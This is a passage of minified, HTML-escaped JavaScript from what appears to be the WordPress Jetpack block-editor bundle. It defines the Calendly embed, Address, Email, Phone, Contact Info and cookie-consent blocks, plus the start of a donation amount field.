uttonText:t,submitButtonTextColor:s,submitButtonBackgroundColor:n,submitButtonClasses:o,backgroundButtonColor:a,textButtonColor:i,customBackgroundButtonColor:l,customTextButtonColor:c,...u}=e,d={text:(p=e).submitButtonText||__(&quot;Schedule time with me&quot;,&quot;jetpack&quot;),textColor:p.submitButtonTextColor||p.textButtonColor,customTextColor:p.customTextButtonColor,backgroundColor:p.submitButtonBackgroundColor||p.backgroundButtonColor,customBackgroundColor:p.customBackgroundButtonColor,url:p.url};var p;return[u,[(0,r.createBlock)(&quot;jetpack/button&quot;,{element:&quot;a&quot;,uniqueId:&quot;calendly-widget-id&quot;,...d})]]},save:({attributes:{url:e}})=&gt;(0,a.jsx)(&quot;a&quot;,{href:e,children:e})}},52385(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;j});var r=s(85985),n=s(94715),o=s(74997),a=s(56427),i=s(47143),l=s(86087),c=s(27723),u=s(13022),d=s(66087),p=s(78218),h=s(56145),m=s(13248),g=s(95816),f=s(99723),b=s(38028),v=(s(8221),s(98989),s(10790));const __=c.__,_x=c._x,k=&quot;jetpack/button&quot;,y={element:&quot;a&quot;,text:__(&quot;Schedule time with me&quot;,&quot;jetpack&quot;),uniqueId:&quot;calendly-widget-id&quot;,url:g.a},x=(0,r.sh)(m);const j=(0,a.withNotices)(function(e){const{attributes:t,clientId:s,name:r,noticeOperations:c,noticeUI:j,setAttributes:w}=e,_=(0,o.getBlockDefaultClassName)(r),C=(0,p.y)(m.attributes,t);(0,d.isEqual)(C,t)||w(C);const{backgroundColor:A,hideEventTypeDetails:S,primaryColor:E,textColor:N,style:T,url:B}=C,[P,I]=(0,l.useState)(B),[M,L]=(0,l.useState)(!1),[R,D]=(0,l.useState)(!1),[F,O]=(0,l.useState)({}),z=(0,n.useBlockProps)(),U=()=&gt;{c.removeAllNotices(),c.createErrorNotice(__(&quot;Your calendar couldn&#039;t be embedded. Please double check your URL or code.&quot;,&quot;jetpack&quot;))};(0,l.useEffect)(()=&gt;{B&amp;&amp;g.a!==B&amp;&amp;&quot;link&quot;!==T&amp;&amp;(0,h.A)(B,D).catch(()=&gt;{w({url:void 0}),U()})},[]);const H=e=&gt;{if(!e)return void U();e.preventDefault();const t=(0,b.a9)(P);if(t){if(t.buttonAttributes&amp;&amp;&quot;link&quot;===t.style){const e=(0,i.select)(&quot;core/editor&quot;).getBlocksByClientId(s);e.length&amp;&amp;e[0].innerBlocks.forEach(e=&gt;{(0,i.dispatch)(&quot;core/editor&quot;).updateBlockAttributes(e.clientId,t.buttonAttributes)}),O(t.buttonAttributes)}(0,h.A)(t.url,D).then(()=&gt;{const e=(0,p.y)(m.attributes,t);w(e),L(!1),c.removeAllNotices()}).catch(()=&gt;{w({url:void 0}),U()})}else U()},q=(0,v.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,v.jsx)(a.Spinner,{}),(0,v.jsx)(&quot;p&quot;,{children:__(&quot;Embedding…&quot;,&quot;jetpack&quot;)})]}),V=(0,v.jsxs)(a.Placeholder,{label:__(&quot;Calendly&quot;,&quot;jetpack&quot;),instructions:__(&quot;Enter your Calendly web address or embed code below.&quot;,&quot;jetpack&quot;),icon:x,notices:j,children:[(0,v.jsxs)(&quot;form&quot;,{onSubmit:H,children:[(0,v.jsx)(&quot;input&quot;,{type:&quot;text&quot;,id:&quot;embedCode&quot;,onChange:e=&gt;I(e.target.value),placeholder:__(&quot;Calendly web address or embed code…&quot;,&quot;jetpack&quot;),value:P||&quot;&quot;,className:&quot;components-placeholder__input&quot;}),(0,v.jsx)(&quot;div&quot;,{children:(0,v.jsx)(a.Button,{variant:&quot;secondary&quot;,type:&quot;submit&quot;,children:_x(&quot;Embed&quot;,&quot;button label&quot;,&quot;jetpack&quot;)})})]}),(0,v.jsx)(&quot;div&quot;,{className:`${_}-learn-more`,children:(0,v.jsx)(a.ExternalLink,{href:&quot;https://help.calendly.com/hc/en-us/articles/223147027-Embed-options-overview&quot;,children:__(&quot;Need help finding your embed code?&quot;,&quot;jetpack&quot;)})})]}),$=(0,v.jsxs)(v.Fragment,{children:[(0,v.jsx)(&quot;div&quot;,{className:`${_}-overlay`}),(0,v.jsx)(&quot;iframe&quot;,{src:(()=&gt;{const e=new URLSearchParams({embed_domain:&quot;wordpress.com&quot;,embed_type:&quot;Inline&quot;,hide_event_type_details:S?1:0,background_color:A,primary_color:E,text_color:N});return`${B}?${e}`})(),width:&quot;100%&quot;,height:&quot;100%&quot;,frameBorder:&quot;0&quot;,&quot;data-origwidth&quot;:&quot;100%&quot;,&quot;data-origheight&quot;:&quot;100%&quot;,title:&quot;Calendly&quot;})]}),G=(0,v.jsx)(n.InnerBlocks,{template:[[k,{...y,...F,passthroughAttributes:{url:&quot;url&quot;}}]],templateLock:&quot;all&quot;});return R?q:(0,v.jsxs)(&quot;div&quot;,{...z,className:(0,u.A)(z.className,{[`calendly-style-${T}`]:B&amp;&amp;!M}),children:[(0,v.jsx)(f.Ay,{...e,defaultClassName:_,embedCode:P,isEditingUrl:M,parseEmbedCode:H,setEmbedCode:I,setIsEditingUrl:L}),B&amp;&amp;!M?(W=T,&quot;inline&quot;===W?$:G):V]});var W})},60312(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(13248),a=s(19493),i=s(52385),l=s(2668),c=s(38028);s(8221);(0,n.M)(o,{edit:i.A,save:l.A,transforms:{from:[{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;c.QL.test(e.textContent),transform:e=&gt;{const t=(0,c.a9)(e.textContent);return(0,r.createBlock)(&quot;jetpack/calendly&quot;,t)}}]},deprecated:[a.A]})},2668(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o(){const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},38028(e,t,s){&quot;use strict&quot;;s.d(t,{QL:()=&gt;r,a9:()=&gt;n});const r=/(^|\/\/)(calendly\.com[^&quot;&#039;]*)/i,n=e=&gt;{if(!e)return;const t=(e=&gt;{const t=e.match(r);if(t)return&quot;https://&quot;+t[2]})(e);if(!t)return;const s=(e=&gt;{const t={},s=new URL(e);if(t.url=s.origin+s.pathname,!s.search)return t;const r=new URLSearchParams(s.search),n=r.get(&quot;background_color&quot;),o=r.get(&quot;primary_color&quot;),a=r.get(&quot;text_color&quot;),i=/^[A-Za-z0-9]{6}$/;return r.get(&quot;hide_event_type_details&quot;)&amp;&amp;(t.hideEventTypeDetails=r.get(&quot;hide_event_type_details&quot;)),n&amp;&amp;n.match(i)&amp;&amp;(t.backgroundColor=n),o&amp;&amp;o.match(i)&amp;&amp;(t.primaryColor=o),a&amp;&amp;a.match(i)&amp;&amp;(t.textColor=a),t})(t),n=(e=&gt;e.indexOf(&quot;data-url&quot;)&gt;0?&quot;inline&quot;:e.indexOf(&quot;initPopupWidget&quot;)&gt;0||e.indexOf(&quot;initBadgeWidget&quot;)&gt;0?&quot;link&quot;:void 0)(e);if(n&amp;&amp;(s.style=n),&quot;link&quot;===n){s.buttonAttributes={};const t=(e=&gt;{let t=e.match(/false;&quot;&gt;([^&lt;]+)&lt;\//);return t?t[1]:(t=e.match(/text: &#039;([^&#039;]*?)&#039;/),t?t[1]:void 0)})(e);t&amp;&amp;(s.buttonAttributes.text=t);const r=(e=&gt;{const t=e.match(/textColor: &#039;([^&#039;]*?)&#039;/);if(t)return t[1]})(e);r&amp;&amp;(s.buttonAttributes.textColor=void 0,s.buttonAttributes.customTextColor=r);const n=(e=&gt;{const t=e.match(/color: &#039;([^&#039;]*?)&#039;/);if(t)return t[1]})(e);n&amp;&amp;(s.buttonAttributes.backgroundColor=void 0,s.buttonAttributes.customBackgroundColor=n)}return s}},98091(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(13022),l=s(81942),c=s(10790);const __=a.__,u=e=&gt;{const{attributes:{address:t,addressLine2:s,addressLine3:a,city:u,region:d,postal:p,country:h,linkToGoogleMaps:m},isSelected:g,setAttributes:f}=e,b=[t,s,a,u,d,p,h].some(e=&gt;&quot;&quot;!==e),v=(0,i.A)({&quot;jetpack-address-block&quot;:!0,&quot;is-selected&quot;:g}),k=(0,o.useCallback)(e=&gt;{&quot;Enter&quot;===e.key&amp;&amp;e.preventDefault()},[]),y=(0,r.useBlockProps)({className:v}),x=(0,c.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Link address to Google Maps&quot;,&quot;jetpack&quot;),checked:m,onChange:e=&gt;f({linkToGoogleMaps:e})});return(0,c.jsxs)(&quot;div&quot;,{...y,children:[!g&amp;&amp;b&amp;&amp;(0,l.A)(e),(g||!b)&amp;&amp;(0,c.jsxs)(o.Fragment,{children:[(0,c.jsx)(r.PlainText,{value:t,placeholder:__(&quot;Street Address&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;Street Address&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({address:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:s,placeholder:__(&quot;Address Line 2&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;Address Line 2&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({addressLine2:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:a,placeholder:__(&quot;Address Line 3&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;Address Line 3&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({addressLine3:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:u,placeholder:__(&quot;City&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;City&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({city:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:d,placeholder:__(&quot;State/Province/Region&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;State/Province/Region&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({region:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:p,placeholder:__(&quot;Postal/Zip Code&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;Postal/Zip Code&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({postal:e}),onKeyDown:k}),(0,c.jsx)(r.PlainText,{value:h,placeholder:__(&quot;Country&quot;,&quot;jetpack&quot;),&quot;aria-label&quot;:__(&quot;Country&quot;,&quot;jetpack&quot;),onChange:e=&gt;f({country:e}),onKeyDown:k}),x]})]})}},39563(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;u,W:()=&gt;d});var r=s(56427),n=s(86087),o=s(27723),a=s(62289),i=s(98091),l=s(81942),c=s(10790);const __=o.__,_x=o._x,u=&quot;address&quot;,d={apiVersion:3,title:__(&quot;Address&quot;,&quot;jetpack&quot;),description:__(&quot;Lets you add a physical address with Schema markup.&quot;,&quot;jetpack&quot;),keywords:[_x(&quot;location&quot;,&quot;block search term&quot;,&quot;jetpack&quot;),_x(&quot;direction&quot;,&quot;block search term&quot;,&quot;jetpack&quot;),_x(&quot;place&quot;,&quot;block search term&quot;,&quot;jetpack&quot;)],icon:(0,a.A)((0,c.jsxs)(n.Fragment,{children:[(0,c.jsx)(r.Path,{d:&quot;M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zM7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 2.88-2.88 7.19-5 9.88C9.92 16.21 7 11.85 7 9z&quot;}),(0,c.jsx)(r.Circle,{cx:&quot;12&quot;,cy:&quot;9&quot;,r:&quot;2.5&quot;})]})),category:&quot;grow&quot;,attributes:{address:{type:&quot;string&quot;,default:&quot;&quot;},addressLine2:{type:&quot;string&quot;,default:&quot;&quot;},addressLine3:{type:&quot;string&quot;,default:&quot;&quot;},city:{type:&quot;string&quot;,default:&quot;&quot;},region:{type:&quot;string&quot;,default:&quot;&quot;},postal:{type:&quot;string&quot;,default:&quot;&quot;},country:{type:&quot;string&quot;,default:&quot;&quot;},linkToGoogleMaps:{type:&quot;boolean&quot;,default:!1}},parent:[&quot;jetpack/contact-info&quot;],edit:i.A,save:l.A}},81942(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(86087),o=s(27723),a=s(10790);const __=o.__,i=({attributes:{address:e,addressLine2:t,addressLine3:s,city:r,region:o,postal:i,country:l}})=&gt;(0,a.jsxs)(n.Fragment,{children:[e&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-address__address jetpack-address__address1&quot;,children:e}),t&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-address__address jetpack-address__address2&quot;,children:t}),s&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-address__address jetpack-address__address3&quot;,children:s}),r&amp;&amp;!(o||i)&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-address__city&quot;,children:r}),r&amp;&amp;(o||i)&amp;&amp;(0,a.jsxs)(&quot;div&quot;,{children:[(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-address__city&quot;,children:r}),&quot;, &quot;,(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-address__region&quot;,children:o}),&quot; &quot;,(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-address__postal&quot;,children:i})]}),!r&amp;&amp;(o||i)&amp;&amp;(0,a.jsxs)(&quot;div&quot;,{children:[(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-address__region&quot;,children:o}),&quot; &quot;,(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-address__postal&quot;,children:i})]}),l&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-address__country&quot;,children:l})]}),l=({attributes:{address:e,addressLine2:t,addressLine3:s,city:r,region:n,postal:o,country:a}})=&gt;{let i=n?`+${n},`:&quot;&quot;;i=o?`${i}+${o}`:i;return`https://www.google.com/maps/search/${e?`${e},`:&quot;&quot;}${t?`${t},`:&quot;&quot;}${s?`${s},`:&quot;&quot;}${r?`+${r},`:&quot;&quot;}${i}${a?`+${a}`:&quot;&quot;}`.replace(&quot; &quot;,&quot;+&quot;)},c=e=&gt;{if(!(({address:e,addressLine2:t,addressLine3:s,city:r,region:n,postal:o,country:a})=&gt;[e,t,s,r,n,o,a].some(e=&gt;&quot;&quot;!==e))(e.attributes))return null;const t=r.useBlockProps.save();return(0,a.jsxs)(&quot;div&quot;,{...t,children:[e.attributes.linkToGoogleMaps&amp;&amp;(0,a.jsx)(&quot;a&quot;,{href:l(e),target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,title:__(&quot;Open address in Google Maps&quot;,&quot;jetpack&quot;),children:(0,a.jsx)(i,{...e})}),!e.attributes.linkToGoogleMaps&amp;&amp;(0,a.jsx)(i,{...e})]})}},44246(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(13022),o=s(10790);const a=[&quot;jetpack/markdown&quot;,&quot;jetpack/address&quot;,&quot;jetpack/email&quot;,&quot;jetpack/phone&quot;,&quot;jetpack/map&quot;,&quot;jetpack/business-hours&quot;,&quot;core/paragraph&quot;,&quot;core/image&quot;,&quot;core/heading&quot;,&quot;core/gallery&quot;,&quot;core/list&quot;,&quot;core/quote&quot;,&quot;core/shortcode&quot;,&quot;core/audio&quot;,&quot;core/code&quot;,&quot;core/cover&quot;,&quot;core/html&quot;,&quot;core/separator&quot;,&quot;core/spacer&quot;,&quot;core/subhead&quot;,&quot;core/video&quot;],i=[[&quot;jetpack/email&quot;],[&quot;jetpack/phone&quot;],[&quot;jetpack/address&quot;]],l=e=&gt;{const{className:t,isSelected:s}=e,l=(0,r.useBlockProps)({className:(0,n.A)(t,{&quot;jetpack-contact-info-block&quot;:!0,&quot;is-selected&quot;:s})});return(0,o.jsx)(&quot;div&quot;,{...l,children:(0,o.jsx)(r.InnerBlocks,{allowedBlocks:a,templateLock:!1,template:i})})}},25907(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(39563),a=s(75173),i=s(44246),l=s(90951),c=s(70063),u=s(36611);s(47698),s(83572);(0,n.M)(a,{edit:i.A,save:u.A,transforms:{from:[{type:&quot;block&quot;,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;widget_contact_info&quot;===e,transform:({instance:e})=&gt;{let t=[(0,r.createBlock)(&quot;core/heading&quot;,{content:e.raw.title}),(0,r.createBlock)(&quot;jetpack/email&quot;,{email:e.raw.email}),(0,r.createBlock)(&quot;jetpack/phone&quot;,{phone:e.raw.phone}),(0,r.createBlock)(&quot;jetpack/address&quot;,{address:e.raw.address})];return e.raw.hours&amp;&amp;(t=[...t,(0,r.createBlock)(&quot;core/paragraph&quot;,{content:e.raw.hours})]),e.raw.showmap&amp;&amp;e.raw.address&amp;&amp;(t=[...t,(0,r.createBlock)(&quot;jetpack/map&quot;,{address:e.raw.address})]),(0,r.createBlock)(&quot;jetpack/contact-info&quot;,{},t)}}]}},[{name:o.U,settings:o.W},{name:l.U,settings:l.W},{name:c.U,settings:c.W}])},43167(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(27723),o=s(64882),a=s(27266);const __=n.__,i=e=&gt;{const t=(0,r.useBlockProps)(),{setAttributes:s}=e;return(0,o.A)(&quot;email&quot;,e,__(&quot;Email&quot;,&quot;jetpack&quot;),a.A,e=&gt;s({email:e}),t)}},90951(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;c,W:()=&gt;u});var r=s(56427),n=s(27723),o=s(62289),a=s(43167),i=s(27266),l=s(10790);const __=n.__,_x=n._x,c=&quot;email&quot;,u={apiVersion:3,title:__(&quot;Email Address&quot;,&quot;jetpack&quot;),description:__(&quot;Lets you add an email address with an automatically generated click-to-email link.&quot;,&quot;jetpack&quot;),keywords:[&quot;e-mail&quot;,&quot;email&quot;,_x(&quot;message&quot;,&quot;block search term&quot;,&quot;jetpack&quot;)],icon:(0,o.A)((0,l.jsx)(r.Path,{d:&quot;M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6zm-2 0l-8 5-8-5h16zm0 12H4V8l8 5 8-5v10z&quot;})),category:&quot;grow&quot;,attributes:{email:{type:&quot;string&quot;,default:&quot;&quot;}},edit:a.A,save:i.A,parent:[&quot;jetpack/contact-info&quot;]}},27266(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(86087),o=s(39904),a=s(10790);const i=({attributes:{email:e}})=&gt;{if(!e)return null;const t=r.useBlockProps.save();return(0,a.jsx)(&quot;div&quot;,{...t,children:(s=e,s.split(/(\s+)/).map((e,t)=&gt;{const s=e.replace(/([.,/#!$%^&amp;*;:{}=\-_`~()\][])+$/g,&quot;&quot;);return e.indexOf(&quot;@&quot;)&amp;&amp;(0,o.t)(s)?e===s?(0,a.jsx)(&quot;a&quot;,{href:`mailto:${e}`,children:e},t):(0,a.jsxs)(n.Fragment,{children:[(0,a.jsx)(&quot;a&quot;,{href:`mailto:${e}`,children:s},t),(0,a.jsx)(n.Fragment,{children:e.slice(-(e.length-s.length))})]},t):(0,a.jsx)(n.Fragment,{children:e},t)}))});var s}},42711(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(27723),o=s(64882),a=s(84330);const __=n.__,i=e=&gt;{const t=(0,r.useBlockProps)(),{setAttributes:s}=e;return(0,o.A)(&quot;phone&quot;,e,__(&quot;Phone number&quot;,&quot;jetpack&quot;),a.A,e=&gt;s({phone:e}),t)}},70063(e,t,s){&quot;use strict&quot;;s.d(t,{U:()=&gt;c,W:()=&gt;u});var r=s(56427),n=s(27723),o=s(62289),a=s(42711),i=s(84330),l=s(10790);const __=n.__,_x=n._x,c=&quot;phone&quot;,u={apiVersion:3,title:__(&quot;Phone Number&quot;,&quot;jetpack&quot;),description:__(&quot;Lets you add a phone number with an automatically generated click-to-call link.&quot;,&quot;jetpack&quot;),keywords:[_x(&quot;mobile&quot;,&quot;block search term&quot;,&quot;jetpack&quot;),_x(&quot;telephone&quot;,&quot;block search term&quot;,&quot;jetpack&quot;),_x(&quot;cell&quot;,&quot;block search term&quot;,&quot;jetpack&quot;)],icon:(0,o.A)((0,l.jsx)(r.Path,{d:&quot;M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79h1.51m9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75l1.2-1.19M7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1z&quot;})),category:&quot;grow&quot;,attributes:{phone:{type:&quot;string&quot;,default:&quot;&quot;}},parent:[&quot;jetpack/contact-info&quot;],edit:a.A,save:i.A}},84330(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(10790);function o(e){const t=e.match(/\d+\.\d+|\d+\b|\d+(?=\w)/g);if(!t)return e;const s=e.indexOf(t[0]);let r=s?e.substring(s-1):e,o=s?e.substring(0,s):&quot;&quot;,a=r.replace(/\D/g,&quot;&quot;);/[0-9/+/(]/.test(r[0])?(o=o.slice(0,-1),&quot;+&quot;===r[0]&amp;&amp;(a=&quot;+&quot;+a)):r=r.substring(1);return[o.trim()?(0,n.jsx)(&quot;span&quot;,{className:&quot;phone-prefix&quot;,children:o},&quot;phonePrefix&quot;):null,(0,n.jsx)(&quot;a&quot;,{href:`tel:${a}`,children:r},&quot;phoneNumber&quot;)]}const a=({attributes:{phone:e}})=&gt;{if(!e)return null;const t=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...t,children:o(e)})}},36611(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);const o=()=&gt;{const e=r.useBlockProps.save();return(0,n.jsx)(&quot;div&quot;,{...e,children:(0,n.jsx)(r.InnerBlocks.Content,{})})}},90452(e,t,s){&quot;use strict&quot;;s.d(t,{a:()=&gt;n});var r=s(27723);const __=r.__,n=(0,r.sprintf)(
// translators: %s is a link to the cookie policy.
__(&quot;Privacy &amp; Cookies: This site uses cookies. By continuing to use this website, you agree to their use. To find out more, including how to control cookies, see here: %s.&quot;,&quot;jetpack&quot;),`&lt;a href=&quot;https://automattic.com/cookies/&quot;&gt;${__(&quot;Cookie Policy&quot;,&quot;jetpack&quot;)}&lt;/a&gt;`)},15216(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(27723),a=(s(41660),s(90452)),i=s(34839),l=s(10790);const __=o.__;const c=function({clientId:e,attributes:t,setAttributes:s}){const{consentExpiryDays:c,align:u,text:d=a.a}=t;(0,i.w)(e);const p=(0,r.useBlockProps)({className:`wp-block-jetpack-cookie-consent align${u}`});return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(r.InspectorControls,{children:(0,l.jsxs)(n.PanelBody,{title:__(&quot;Block Settings&quot;,&quot;jetpack&quot;),children:[(0,l.jsx)(n.SelectControl,{label:__(&quot;Alignment&quot;,&quot;jetpack&quot;),value:u,options:[{label:(0,o.isRTL)()?__(&quot;Right&quot;,&quot;jetpack&quot;):__(&quot;Left&quot;,&quot;jetpack&quot;),value:&quot;left&quot;},{label:__(&quot;Full&quot;,&quot;jetpack&quot;),value:&quot;full&quot;},{label:__(&quot;Wide&quot;,&quot;jetpack&quot;),value:&quot;wide&quot;},{label:(0,o.isRTL)()?__(&quot;Left&quot;,&quot;jetpack&quot;):__(&quot;Right&quot;,&quot;jetpack&quot;),value:&quot;right&quot;}],onChange:e=&gt;function(e){const t=[&quot;wide&quot;,&quot;full&quot;].includes(e)?{width:void 0,height:void 0}:{};s({...t,align:e})}(e),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,l.jsx)(n.TextControl,{label:__(&quot;Consent Expiry Time (in days)&quot;,&quot;jetpack&quot;),value:c,type:&quot;number&quot;,min:&quot;1&quot;,max:&quot;365&quot;,onChange:e=&gt;s({consentExpiryDays:parseInt(e)}),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,l.jsx)(&quot;p&quot;,{children:__(&quot;Note: The block position in the editor is not indicative of the position on the front end. The block will always be positioned at the bottom of the page.&quot;,&quot;jetpack&quot;)})]})}),(0,l.jsxs)(&quot;div&quot;,{...p,style:p.style,children:[(0,l.jsx)(r.RichText,{tagName:&quot;p&quot;,value:d,onChange:e=&gt;s({text:e})}),(0,l.jsx)(r.InnerBlocks,{allowedBlocks:[&quot;core/button&quot;],template:[[&quot;core/button&quot;,{text:__(&quot;Accept&quot;,&quot;jetpack&quot;)}]],templateLock:&quot;all&quot;})]})]})}},78165(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(74095),o=s(15216),a=s(75757);s(41660);(0,r.M)(n,{edit:o.A,save:a.A})},75757(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(90452),o=s(10790);function a({attributes:e}){const t=r.useBlockProps.save(),{text:s=n.a,consentExpiryDays:a}=e;return(0,o.jsxs)(&quot;div&quot;,{...t,style:t.style,role:&quot;dialog&quot;,&quot;aria-modal&quot;:&quot;true&quot;,children:[(0,o.jsx)(r.RichText.Content,{tagName:&quot;p&quot;,value:s}),(0,o.jsx)(r.InnerBlocks.Content,{}),(0,o.jsx)(&quot;span&quot;,{children:a})]})}},34839(e,t,s){&quot;use strict&quot;;s.d(t,{w:()=&gt;l});var r=s(74997),n=s(29491),o=s(3582),a=s(47143),i=s(86087);function l(e){const t=(0,a.useSelect)(e=&gt;{const{isSavingPost:t,isSavingNonPostEntityChanges:s}=e(&quot;core/editor&quot;);return t()||s()},[]),s=!(!(0,n.usePrevious)(t)||t),[,l]=(0,o.useEntityProp)(&quot;root&quot;,&quot;site&quot;,&quot;cookie_consent_template&quot;),{saveEditedEntityRecord:c}=(0,a.useDispatch)(o.store),[u,d]=(0,i.useState)(!1),p=(0,a.useSelect)(e=&gt;{const{getBlock:t}=e(&quot;core/block-editor&quot;);return t}),h=(0,i.useCallback)(e=&gt;{d(!0),l(e),c(&quot;root&quot;,&quot;site&quot;,void 0,{cookie_consent_template:e}).finally(()=&gt;{d(!1)})},[d,l,c]);(0,i.useEffect)(()=&gt;()=&gt;{p(e)||h(null)},[]),(0,i.useEffect)(()=&gt;{s&amp;&amp;!u&amp;&amp;h((0,r.serialize)([p(e)]))},[s,u,h,p,e])}},75800(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(4567),n=s(3975),o=s(94715),a=s(86087),i=s(13022),l=s(72730),c=s(10790);const u=({className:e=null,currency:t=null,defaultValue:s=null,disabled:u=!1,label:d=&quot;&quot;,onChange:p=null,value:h=&quot;&quot;})=&gt;{const[m,g]=(0,a.useState)((0,r.Ay)(h,t,{symbol:&quot;&quot;})),[f,b]=(0,a.useState)(!1),[v,k]=(0,a.useState)(!1),y=(0,a.useRef)(null),x=(0,a.useCallback)((e,s)=&gt;{g(r=&gt;{if(e!==r){const r=(0,l.C_)(e,t);r&amp;&amp;r&gt;=(0,l.dv)(t)?(k(!1),s&amp;&amp;p?.(r)):k(!0)}return e})},[t,p]),j=()=&gt;{y.current&amp;&amp;(y.current.focus(),b(!0))};return(0,a.useEffect)(()=&gt;{if(!y.current)return;const e=y.current,n=()=&gt;{b(!1),m||x((0,r.Ay)(s,t,{symbol:&quot;&quot;}))};return e.addEventListener(&quot;blur&quot;,n),()=&gt;{e.removeEventListener(&quot;blur&quot;,n)}},[t,s,m,y,x]),(0,a.useEffect)(()=&gt;{f||v||g((0,r.Ay)(h,t,{symbol:&quot;&quot;}))},[t,f,v,h]),(0,a.useEffect)(()=&gt;{x((0,r.Ay)(h,t,{symbol:&quot;&quot;}))},[t,h]),(0,c.jsxs)(&quot;div&quot;,{className:(0,i.A)(&quot;donations__amount&quot;,e,{&quot;has-focus&quot;:f,&quot;has-error&quot;:v}),role:&quot;button&quot;,tabIndex:0,onClick:j,onKeyDown:j,children:[n.y[t].symbol,u?(0,c.jsx)(&quot;div&quot;,{className:&quot;donations__amount-value&quot;,children:(0,r.Ay)(h||s,t,{symbol:&quot;&quot;})}):(0,c.jsx)(o.RichText,{allowedFormats:[],&quot;aria-label&quot;:d,onChange:e=&gt;x(e,!0),placeholder:(0,r.Ay)(s,t,{symbol:&quot;&quot;}),ref:y,value:m,withoutInteractiveFormatting:!0})]})}},57018(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;d});var r=s(3975),n=s(85985),o=s(94715),a=s(56427),i=s(27723),l=s(48558),c=s(72730),u=s(10790);const __=i.__,d=e=&gt;{const{attributes:t,setAttributes:s}=e,{currency:i,oneTimeDonation:d,monthlyDonation:p,annualDonation:h,showCustomAmount:m}=t,g=(e,r)=&gt;{const n={&quot;1 month&quot;:&quot;monthlyDonation&quot;,&quot;1 